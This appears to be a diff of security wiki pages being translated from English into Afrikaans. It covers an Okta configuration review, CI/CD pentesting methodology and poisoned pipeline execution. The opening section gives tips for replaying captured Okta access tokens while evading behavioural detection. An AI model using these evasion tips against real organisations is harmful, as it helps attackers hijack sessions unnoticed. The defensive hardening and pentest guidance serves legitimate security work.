## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
|
||||
|
||||
Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
|
||||
Gedragsdeteksiebeleide in Okta mag onbekend wees totdat dit teëgekom word, maar **omseiling** daarvan kan bereik word deur **Okta toepassings direk te teiken**, wat die hoof Okta dashboard vermy. Met 'n **Okta toegangstoken**, herhaal die token by die **toepassing-spesifieke Okta URL** in plaas van die hoof aanmeldblad.
|
||||
|
||||
Key recommendations include:
|
||||
Belangrike aanbevelings sluit in:
|
||||
|
||||
- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
|
||||
- Ensure **consistent user-agent strings** between the client and replayed access tokens.
|
||||
- **Refrain from replaying** tokens from different users from the same IP address.
|
||||
- Exercise caution when replaying tokens against the Okta dashboard.
|
||||
- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
|
||||
- **Vermy die gebruik van** gewilde anonymiseringsproxies en VPN-dienste wanneer jy vasgevange toegangstokens herhaal.
|
||||
- Verseker **konstante gebruikers-agent strings** tussen die kliënt en herhaalde toegangstokens.
|
||||
- **Wees versigtig om tokens** van verskillende gebruikers vanaf dieselfde IP-adres te herhaal.
|
||||
- Wees versigtig wanneer jy tokens teen die Okta dashboard herhaal.
|
||||
- As jy bewus is van die slagoffer maatskappy se IP-adresse, **beperk verkeer** na daardie IP's of hul reeks, en blokkeer alle ander verkeer.
|
||||
|
||||
## Okta Hardening
|
||||
|
||||
Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
|
||||
Okta het baie moontlike konfigurasies, op hierdie bladsy sal jy vind hoe om dit te hersien sodat dit so veilig as moontlik is:
|
||||
|
||||
{{#ref}}
|
||||
okta-hardening.md
|
||||
@@ -112,7 +112,3 @@ okta-hardening.md
|
||||
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,72 +6,72 @@
|
||||
|
||||
### People
|
||||
|
||||
From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
|
||||
Vanuit 'n aanvaller se perspektief is dit baie interessant omdat jy **alle geregistreerde gebruikers** kan sien, hul **e-pos** adresse, die **groepe** waarvan hulle deel is, **profiele** en selfs **toestelle** (mobiele saam met hul OS's).
|
||||
|
||||
For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
|
||||
Vir 'n whitebox hersiening, kyk dat daar nie verskeie "**Wagtende gebruiker aksie**" en "**Wagwoord herstel**" is nie.
|
||||
|
||||
### Groups
|
||||
|
||||
This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
|
||||
It's possible to see the **people included inside groups** and **apps assigned** to each group.
|
||||
Hier vind jy al die geskepte groepe in Okta. Dit is interessant om die verskillende groepe (stel van **toestemmings**) te verstaan wat aan **gebruikers** toegeken kan word.\
|
||||
Dit is moontlik om die **mense ingesluit in groepe** en **apps toegeken** aan elke groep te sien.
|
||||
|
||||
Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
|
||||
Natuurlik is enige groep met die naam **admin** interessant, veral die groep **Global Administrators,** kyk na die lede om te leer wie die mees bevoorregte lede is.
|
||||
|
||||
From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
|
||||
Vanuit 'n whitebox hersiening, daar **moet nie meer as 5 globale admins wees nie** (beter as daar net 2 of 3 is).
|
||||
|
||||
### Devices
|
||||
|
||||
Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
|
||||
Vind hier 'n **lys van al die toestelle** van al die gebruikers. Jy kan ook sien of dit **aktief bestuur** word of nie.
|
||||
|
||||
### Profile Editor
|
||||
|
||||
Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
|
||||
Hier is dit moontlik om te observeer hoe sleutel-inligting soos voorname, vanname, e-pos, gebruikersname... tussen Okta en ander toepassings gedeel word. Dit is interessant omdat as 'n gebruiker **'n veld in Okta kan wysig** (soos sy naam of e-pos) wat dan deur 'n **eksterne toepassing** gebruik word om die gebruiker te **identifiseer**, kan 'n insider probeer om **ander rekeninge oor te neem**.
|
||||
|
||||
Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
|
||||
Boonop, in die profiel **`User (default)`** van Okta kan jy **watter velde** elke **gebruiker** het en watter een **skryfbaar** is deur gebruikers. As jy nie die admin paneel kan sien nie, gaan net na **opdateer jou profiel** inligting en jy sal sien watter velde jy kan opdateer (let daarop dat jy 'n e-pos adres moet verifieer om dit op te dateer).
|
||||
|
||||
### Directory Integrations
|
||||
|
||||
Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
|
||||
Gidsen laat jou toe om mense van bestaande bronne te importeer. Ek raai hier sal jy die gebruikers sien wat van ander gidse geïmporteer is.
|
||||
|
||||
I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
|
||||
Ek het dit nie gesien nie, maar ek raai dit is interessant om uit te vind **ander gidse wat Okta gebruik om gebruikers te importeer** sodat as jy **daardie gids kompromitteer** kan jy sekere attribuutwaardes in die gebruikers geskep in Okta stel en **miskien die Okta omgewing kompromitteer**.
|
||||
|
||||
### Profile Sources
|
||||
|
||||
A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
|
||||
'n Profielbron is 'n **toepassing wat as 'n bron van waarheid** vir gebruikersprofielattribuut dien. 'n Gebruiker kan slegs deur 'n enkele toepassing of gids op 'n slag verkry word.
|
||||
|
||||
I haven't seen it, so any information about security and hacking regarding this option is appreciated.
|
||||
Ek het dit nie gesien nie, so enige inligting oor sekuriteit en hacking rakende hierdie opsie word waardeer.
|
||||
|
||||
## Customizations
|
||||
|
||||
### Brands
|
||||
|
||||
Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
|
||||
Kyk in die **Domeine** oortjie van hierdie afdeling die e-pos adresse wat gebruik word om e-posse te stuur en die pasgemaakte domein binne Okta van die maatskappy (wat jy waarskynlik al weet).
|
||||
|
||||
Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
|
||||
Boonop, in die **Instelling** oortjie, as jy admin is, kan jy "**Gebruik 'n pasgemaakte aftekenbladsy**" en 'n pasgemaakte URL stel.
|
||||
|
||||
### SMS
|
||||
|
||||
Nothing interesting here.
|
||||
Niks interessant hier nie.
|
||||
|
||||
### End-User Dashboard
|
||||
|
||||
You can find here applications configured, but we will see the details of those later in a different section.
|
||||
Jy kan hier toepassings vind wat geconfigureer is, maar ons sal die besonderhede van daardie later in 'n ander afdeling sien.
|
||||
|
||||
### Other
|
||||
|
||||
Interesting setting, but nothing super interesting from a security point of view.
|
||||
Interessante instelling, maar niks super interessant vanuit 'n sekuriteitsoogpunt nie.
|
||||
|
||||
## Applications
|
||||
|
||||
### Applications
|
||||
|
||||
Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
|
||||
Hier kan jy al die **geconfigureerde toepassings** en hul besonderhede vind: Wie toegang tot hulle het, hoe dit geconfigureer is (SAML, OPenID), URL om aan te meld, die mappings tussen Okta en die toepassing...
|
||||
|
||||
In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
|
||||
In die **`Sign On`** oortjie is daar ook 'n veld genaamd **`Password reveal`** wat 'n gebruiker sou toelaat om sy **wagwoord te onthul** wanneer hy die toepassingsinstellings nagaan. Om die instellings van 'n toepassing vanaf die Gebruiker Paneel te kontroleer, klik op die 3 punte:
|
||||
|
||||
<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
And you could see some more details about the app (like the password reveal feature, if it's enabled):
|
||||
En jy kan 'n paar meer besonderhede oor die app sien (soos die wagwoord onthul funksie, as dit geaktiveer is):
|
||||
|
||||
<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat
|
||||
|
||||
### Access Certifications
|
||||
|
||||
Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
|
||||
Gebruik Toegang Sertifikasies om ouditveldtogte te skep om jou gebruikers se toegang tot hulpbronne periodiek te hersien en toegang outomaties goed te keur of te herroep wanneer nodig.
|
||||
|
||||
I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
|
||||
Ek het dit nie gesien nie, maar ek raai dat dit vanuit 'n defensiewe perspektief 'n mooi funksie is.
|
||||
|
||||
## Security
|
||||
|
||||
### General
|
||||
|
||||
- **Security notification emails**: All should be enabled.
|
||||
- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
|
||||
- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
|
||||
- **User enumeration prevention**: Both should be enabled
|
||||
- Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
|
||||
- Self-Service Registration
|
||||
- JIT flows with email authentication
|
||||
- **Okta ThreatInsight settings**: Log and enforce security based on threat level
|
||||
- **Sekuriteits kennisgewing e-posse**: Alle moet geaktiveer wees.
|
||||
- **CAPTCHA integrasie**: Dit word aanbeveel om ten minste die onsigbare reCaptcha in te stel.
|
||||
- **Organisasie Sekuriteit**: Alles kan geaktiveer word en aktivering e-posse moet nie lank neem nie (7 dae is reg).
|
||||
- **Gebruiker enumerasie voorkoming**: Albei moet geaktiveer wees.
|
||||
- Let daarop dat Gebruiker Enumerasie Voorkoming nie in werking tree as enige van die volgende toestande toegelaat word nie (sien [Gebruiker bestuur](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) vir meer inligting):
|
||||
- Selfdiens Registrasie
|
||||
- JIT vloei met e-pos verifikasie
|
||||
- **Okta ThreatInsight instellings**: Log en handhaaf sekuriteit gebaseer op bedreigingsvlak.
|
||||
|
||||
### HealthInsight
|
||||
|
||||
Here is possible to find correctly and **dangerous** configured **settings**.
|
||||
Hier is dit moontlik om korrek en **gevaarlike** geconfigureerde **instellings** te vind.
|
||||
|
||||
### Authenticators
|
||||
|
||||
Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
|
||||
Hier kan jy al die autentikasie metodes vind wat 'n gebruiker kan gebruik: Wagwoord, telefoon, e-pos, kode, WebAuthn... Klik op die Wagwoord autentiseerder en jy kan die **wagwoord beleid** sien. Kyk dat dit sterk is.
|
||||
|
||||
In the **Enrollment** tab you can see how the ones that are required or optinal:
|
||||
In die **Registrasie** oortjie kan jy sien hoe diegene wat vereis of opsioneel is:
|
||||
|
||||
<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
|
||||
Dit word aanbeveel om Telefoon te deaktiveer. Die sterkste is waarskynlik 'n kombinasie van wagwoord, e-pos en WebAuthn.
|
||||
|
||||
### Authentication policies
|
||||
|
||||
Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
|
||||
Elke app het 'n autentikasiebeleid. Die autentikasiebeleid verifieer dat gebruikers wat probeer om in te teken op die app aan spesifieke voorwaardes voldoen, en dit handhaaf faktor vereistes gebaseer op daardie voorwaardes.
|
||||
|
||||
Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
|
||||
Hier kan jy die **vereistes om toegang tot elke toepassing** te verkry vind. Dit word aanbeveel om ten minste wagwoord en 'n ander metode vir elke toepassing te vra. Maar as jy as aanvaller iets meer swak vind, kan jy dalk dit aanval.
|
||||
|
||||
### Global Session Policy
|
||||
|
||||
Here you can find the session policies assigned to different groups. For example:
|
||||
Hier kan jy die sessiebeleide vind wat aan verskillende groepe toegeken is. Byvoorbeeld:
|
||||
|
||||
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
|
||||
Dit word aanbeveel om MFA te vra, die sessie lewensduur tot 'n paar ure te beperk, nie sessie koekies oor blaaiers te persisteer nie en die ligging en Identiteitsverskaffer te beperk (as dit moontlik is). Byvoorbeeld, as elke gebruiker van 'n land moet aanmeld, kan jy net hierdie ligging toelaat.
|
||||
|
||||
### Identity Providers
|
||||
|
||||
Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
|
||||
Identiteitsverskaffers (IdPs) is dienste wat **gebruikersrekeninge bestuur**. Om IdPs in Okta by te voeg, stel jou eindgebruikers in staat om **self te registreer** met jou pasgemaakte toepassings deur eers met 'n sosiale rekening of 'n slimkaart te autentiseer.
|
||||
|
||||
On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
|
||||
Op die Identiteitsverskaffers bladsy kan jy sosiale aanmeldings (IdPs) byvoeg en Okta as 'n diensverskaffer (SP) configureer deur inkomende SAML by te voeg. Nadat jy IdPs bygevoeg het, kan jy roeteringsreëls opstel om gebruikers na 'n IdP te lei gebaseer op konteks, soos die gebruiker se ligging, toestel of e-pos domein.
|
||||
|
||||
**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
|
||||
**As enige identiteitsverskaffer geconfigureer is** vanuit 'n aanvaller en verdediger se perspektief, kyk daardie konfigurasie en **of die bron regtig betroubaar is** aangesien 'n aanvaller wat dit kompromitteer ook toegang tot die Okta omgewing kan kry.
|
||||
|
||||
### Delegated Authentication
|
||||
|
||||
Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
|
||||
Gedelegeerde autentikasie laat gebruikers toe om in te teken op Okta deur inligting vir hul organisasie se **Active Directory (AD) of LDAP** bediener in te voer.
|
||||
|
||||
Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
|
||||
Weereens, herkontroleer dit, aangesien 'n aanvaller wat 'n organisasie se AD kompromitteer, dalk in staat kan wees om na Okta te pivot deur hierdie instelling.
|
||||
|
||||
### Network
|
||||
|
||||
A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
|
||||
'n Netwerk sone is 'n konfigureerbare grens wat jy kan gebruik om **toegang tot rekenaars en toestelle** in jou organisasie te **verleen of te beperk** gebaseer op die **IP adres** wat toegang versoek. Jy kan 'n netwerk sone definieer deur een of meer individuele IP adresse, reekse van IP adresse, of geografiese liggings te spesifiseer.
|
||||
|
||||
After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
|
||||
Nadat jy een of meer netwerk zones gedefinieer het, kan jy **dit in Globale Sessie Beleide**, **autentikasiebeleide**, VPN kennisgewings, en **roeteringsreëls** gebruik.
|
||||
|
||||
From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
|
||||
Vanuit 'n aanvaller se perspektief is dit interessant om te weet watter Ps toegelaat word (en kyk of enige **IPs meer bevoorreg** is as ander). Vanuit 'n aanvaller se perspektief, as die gebruikers van 'n spesifieke IP adres of streek moet toegang hê, kyk of hierdie funksie behoorlik gebruik word.
|
||||
|
||||
### Device Integrations
|
||||
|
||||
- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
|
||||
- I haven't seen this used yet. TODO
|
||||
- **Notification services**: I haven't seen this used yet. TODO
|
||||
- **Endpoint Management**: Eindpuntbestuur is 'n voorwaarde wat in 'n autentikasiebeleid toegepas kan word om te verseker dat bestuurde toestelle toegang tot 'n toepassing het.
|
||||
- Ek het dit nog nie gesien nie. TODO
|
||||
- **Kennisgewing dienste**: Ek het dit nog nie gesien nie. TODO
|
||||
|
||||
### API
|
||||
|
||||
You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
|
||||
Jy kan Okta API tokens op hierdie bladsy skep, en diegene sien wat **gecreëer** is, hul **privileges**, **verval** tyd en **Oorsprong URL's**. Let daarop dat 'n API token gegenereer word met die toestemmings van die gebruiker wat die token geskep het en slegs geldig is as die **gebruiker** wat dit geskep het **aktief** is.
|
||||
|
||||
The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
|
||||
Die **Betroubare Oorspronge** verleen toegang tot webwerwe wat jy beheer en vertrou om toegang tot jou Okta org deur die Okta API te verkry.
|
||||
|
||||
There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
|
||||
Daar moet nie baie API tokens wees nie, aangesien as daar is, kan 'n aanvaller probeer om toegang tot hulle te kry en hulle te gebruik.
|
||||
|
||||
## Workflow
|
||||
|
||||
### Automations
|
||||
|
||||
Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
|
||||
Automatiserings laat jou toe om geoutomatiseerde aksies te skep wat loop gebaseer op 'n stel van trigger toestande wat tydens die lewensiklus van eindgebruikers voorkom.
|
||||
|
||||
For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
|
||||
Byvoorbeeld, 'n toestand kan wees "Gebruiker inaktiwiteit in Okta" of "Gebruiker wagwoord vervaldatum in Okta" en die aksie kan wees "Stuur e-pos aan die gebruiker" of "Verander gebruiker se lewensiklus toestand in Okta".
|
||||
|
||||
## Reports
|
||||
|
||||
### Reports
|
||||
|
||||
Download logs. They are **sent** to the **email address** of the current account.
|
||||
Laai logs af. Hulle word **gestuur** na die **e-pos adres** van die huidige rekening.
|
||||
|
||||
### System Log
|
||||
|
||||
Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
|
||||
Hier kan jy die **logs van die aksies uitgevoer deur gebruikers** vind met baie besonderhede soos aanmelding in Okta of in toepassings deur Okta.
|
||||
|
||||
### Import Monitoring
|
||||
|
||||
This can **import logs from the other platforms** accessed with Okta.
|
||||
Dit kan **logs van die ander platforms** wat met Okta toegang het, **importeer**.
|
||||
|
||||
### Rate limits
|
||||
|
||||
Check the API rate limits reached.
|
||||
Kyk die API koers beperkings wat bereik is.
|
||||
|
||||
## Settings
|
||||
|
||||
### Account
|
||||
|
||||
Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
|
||||
Hier kan jy **generiese inligting** oor die Okta omgewing vind, soos die maatskappy se naam, adres, **e-pos faktuur kontak**, **e-pos tegniese kontak** en ook wie Okta opdaterings moet ontvang en watter soort Okta opdaterings.
|
||||
|
||||
### Downloads
|
||||
|
||||
Here you can download Okta agents to sync Okta with other technologies.
|
||||
Hier kan jy Okta agente aflaai om Okta met ander tegnologieë te sinkroniseer.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting CI/CD Methodology
|
||||
# Pentesting CI/CD Metodologie
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,103 +6,99 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
|
||||
VCS staan vir **Version Control System**, hierdie stelsels laat ontwikkelaars toe om **hulle bronkode te bestuur**. Die mees algemene een is **git** en jy sal gewoonlik maatskappye vind wat dit gebruik in een van die volgende **platforms**:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
- Bitbucket
|
||||
- Gitea
|
||||
- Cloud providers (they offer their own VCS platforms)
|
||||
- Cloud verskaffers (hulle bied hul eie VCS-platforms aan)
|
||||
|
||||
## CI/CD Pipelines
|
||||
## CI/CD Pypelines
|
||||
|
||||
CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
|
||||
CI/CD pypelines stel ontwikkelaars in staat om **die uitvoering van kode te outomatiseer** vir verskeie doeleindes, insluitend bou, toets en ontplooi van toepassings. Hierdie geoutomatiseerde werksvloei word **geaktiveer deur spesifieke aksies**, soos kode stoot, trek versoeke, of geskeduleerde take. Hulle is nuttig om die proses van ontwikkeling na produksie te stroomlyn.
|
||||
|
||||
However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
|
||||
Egter, hierdie stelsels moet **ergens uitgevoer word** en gewoonlik met **bevoorregte akrediteer om kode te ontplooi of toegang tot sensitiewe inligting te verkry**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
## VCS Pentesting Metodologie
|
||||
|
||||
> [!NOTE]
|
||||
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
|
||||
> Alhoewel sommige VCS-platforms toelaat om pypelines te skep, gaan ons in hierdie afdeling slegs potensiële aanvalle op die beheer van die bronkode analiseer.
|
||||
|
||||
Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
|
||||
Platforms wat die bronkode van jou projek bevat, bevat sensitiewe inligting en mense moet baie versigtig wees met die toestemmings wat binne hierdie platform toegestaan word. Dit is 'n paar algemene probleme oor VCS-platforms wat aanvallers kan misbruik:
|
||||
|
||||
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
|
||||
- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
|
||||
- **Register**: Some platforms will just allow external users to create an account.
|
||||
- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
|
||||
- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
|
||||
- If no secret is in place, the attacker could abuse the webhook of the third party platform
|
||||
- If the secret is in the URL, the same happens and the attacker also have the secret
|
||||
- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
|
||||
- Compromise the main branch to **compromise production**.
|
||||
- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
|
||||
- **Compromise the pipeline** (check next section)
|
||||
- **Lekke**: As jou kode lekke in die verbintenisse bevat en die aanvaller toegang tot die repo kan verkry (omdat dit publiek is of omdat hy toegang het), kan hy die lekke ontdek.
|
||||
- **Toegang**: As 'n aanvaller **toegang tot 'n rekening binne die VCS-platform** kan verkry, kan hy **meer sigbaarheid en toestemmings** verkry.
|
||||
- **Registrasie**: Sommige platforms sal net eksterne gebruikers toelaat om 'n rekening te skep.
|
||||
- **SSO**: Sommige platforms sal nie gebruikers toelaat om te registreer nie, maar sal enigeen toelaat om toegang te verkry met 'n geldige SSO (so 'n aanvaller kan sy github-rekening gebruik om in te gaan byvoorbeeld).
|
||||
- **Akrediteer**: Gebruikersnaam+Pwd, persoonlike tokens, ssh sleutels, Oauth tokens, koekies... daar is verskeie tipes tokens wat 'n gebruiker kan steel om op een of ander manier toegang tot 'n repo te verkry.
|
||||
- **Webhooks**: VCS-platforms laat toe om webhooks te genereer. As hulle **nie beskerm** is met nie-sigtbare geheime nie, kan 'n **aanvaller dit misbruik**.
|
||||
- As daar geen geheim is nie, kan die aanvaller die webhook van die derdeparty-platform misbruik.
|
||||
- As die geheim in die URL is, gebeur dieselfde en die aanvaller het ook die geheim.
|
||||
- **Kode kompromie:** As 'n kwaadwillige akteur 'n soort **skryf** toegang oor die repos het, kan hy probeer om **kwaadwillige kode in te spuit**. Om suksesvol te wees, mag hy moet **tak beskermings omseil**. Hierdie aksies kan met verskillende doelwitte in gedagte uitgevoer word:
|
||||
- Kompromitteer die hooftak om **produksie te kompromitteer**.
|
||||
- Kompromitteer die hoof (of ander takke) om **ontwikkelaars se masjiene te kompromitteer** (aangesien hulle gewoonlik toets, terraform of ander dinge binne die repo op hul masjiene uitvoer).
|
||||
- **Kompromitteer die pypeline** (kyk na die volgende afdeling)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
## Pypelines Pentesting Metodologie
|
||||
|
||||
The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
|
||||
These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
|
||||
Die mees algemene manier om 'n pypeline te definieer, is deur 'n **CI-konfigurasie lêer wat in die repo gehos is** te gebruik. Hierdie lêer beskryf die volgorde van uitgevoerde werksgeleenthede, toestande wat die vloei beïnvloed, en bou omgewing instellings.\
|
||||
Hierdie lêers het tipies 'n konsekwente naam en formaat, byvoorbeeld — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), en die GitHub Actions YAML-lêers wat onder .github/workflows geleë is. Wanneer geaktiveer, **trek die pypeline werk** die kode van die geselekteerde bron (bv. verbintenis / tak), en **voert die opdragte uit wat in die CI-konfigurasie lêer gespesifiseer is** teen daardie kode.
|
||||
|
||||
Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
|
||||
Daarom is die uiteindelike doel van die aanvaller om op een of ander manier **daardie konfigurasie lêers** of die **opdragte wat hulle uitvoer** te **kompromitteer**.
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
### PPE - Gevulde Pypeline Uitvoering
|
||||
|
||||
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
|
||||
Die Gevulde Pypeline Uitvoering (PPE) pad benut toestemmings in 'n SCM-repo om 'n CI-pypeline te manipuleer en skadelike opdragte uit te voer. Gebruikers met die nodige toestemmings kan CI-konfigurasie lêers of ander lêers wat deur die pypeline werk gebruik word, wysig om kwaadwillige opdragte in te sluit. Dit "vervuil" die CI-pypeline, wat lei tot die uitvoering van hierdie kwaadwillige opdragte.
|
||||
|
||||
For a malicious actor to be successful performing a PPE attack he needs to be able to:
|
||||
Vir 'n kwaadwillige akteur om suksesvol 'n PPE-aanval uit te voer, moet hy in staat wees om:
|
||||
|
||||
- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
|
||||
- Note that sometimes an **external PR count as "write access"**.
|
||||
- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
|
||||
- For this, he might need to be able to **bypass branch protections**.
|
||||
- **Skryf toegang tot die VCS-platform** te hê, aangesien pypelines gewoonlik geaktiveer word wanneer 'n stoot of 'n trek versoek uitgevoer word. (Kyk na die VCS pentesting metodologie vir 'n opsomming van maniere om toegang te verkry).
|
||||
- Let daarop dat soms 'n **eksterne PR as "skryf toegang" tel**.
|
||||
- Selfs as hy skryf toestemmings het, moet hy seker wees dat hy die **CI konfigurasie lêer of ander lêers waarop die konfigurasie staatmaak** kan **wysig**.
|
||||
- Hiervoor mag hy moet in staat wees om **tak beskermings om te seil**.
|
||||
|
||||
There are 3 PPE flavours:
|
||||
Daar is 3 PPE variasies:
|
||||
|
||||
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
|
||||
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
|
||||
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
|
||||
